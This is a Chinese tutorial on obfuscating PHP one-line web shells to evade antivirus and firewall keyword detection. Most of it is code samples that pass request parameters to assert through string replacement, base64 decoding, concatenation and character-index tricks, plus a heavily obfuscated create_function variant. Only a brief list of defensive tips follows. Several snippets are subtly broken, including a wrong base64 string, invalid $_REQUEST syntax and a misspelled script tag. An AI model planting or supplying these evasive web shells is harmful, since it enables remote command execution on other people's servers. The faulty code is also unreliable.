web Shell变形
绕过杀毒软件的查杀
防火墙通常以关键字判断是否为一句话木马。
变形方法:
- 利用str_replace函数
在第三个参数中,查找第一个参数,并替换成第二个参数。这里就相当于删除abc。
<?php
$a = str_replace("abc","","aabcsabcsabceabcrabct");
$a($_REQUEST(["cmd"]));
?>
- 利用base64_decode()函数
将base64_decode()中的内同为assert的base64编码,这里的$a相当于assert。
<?php
$a = base64_decode("YXNzZXJO");
$a($_REQUEST(["cmd"]));
?>
- 利用"."操作符
在PHP中,字符串之间连接使用的是"点"来实现的,可以把两个或两个以上的字符串连接成一个字符串,下列中的$c就相当于assert。
<?php
$a = "as"."se";
$b = "r"."t";
$c = $a.$b;
$c($_REQUEST(["cmd"]));
?>
- 更换数据来源
<?php
$_REQUEST[a]($_REQUEST[cmd]);
?>
<?php
@assert($_REQUEST[$_REQUEST[b]]);
?>
- 利用<? ?>标签
<sctipt language="php">
@assert($_REQUEST["cmd"]);
</script>
- 利用字符串组合法隐藏关键字
将需要隐藏的字符串随机打乱,首先定义一些随机字符串,在调用打乱后的字符串顺序并拼接成有效参数,下例中,$a=assert
<?php
$str = 'abcsqebrt';
$a = $str[0].$str[3].$str[3].$str[5].$str[7].$str[8];
@$a($_REQUEST["cmd"]);
?>
- 拓展
<?php
$__C_C="GJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P[1].$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F=$__F_F.'_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[14]/$__P_P[13];
$__D_D=$__F_F('$__S_S','$__E_E'.("$__S_S";));
@$__D_D($__H_H($__H_H($__C_C)));
?>
总结
绕过技巧
- 更换执行数据源
- 字符替换或者编码
- 采取隐匿手段
WebShell的防御技巧
- 使用和及时更新防护类工具
- 对服务器的文件夹设置严格的读写权限
- 在服务器中禁用一些敏感的危险函数,如命令执行system()等函数
- 定期检查系统进程,查看是否有可疑的进程
- 根据文件的创建时间观察系统目录下是否有近期新建的可执行文件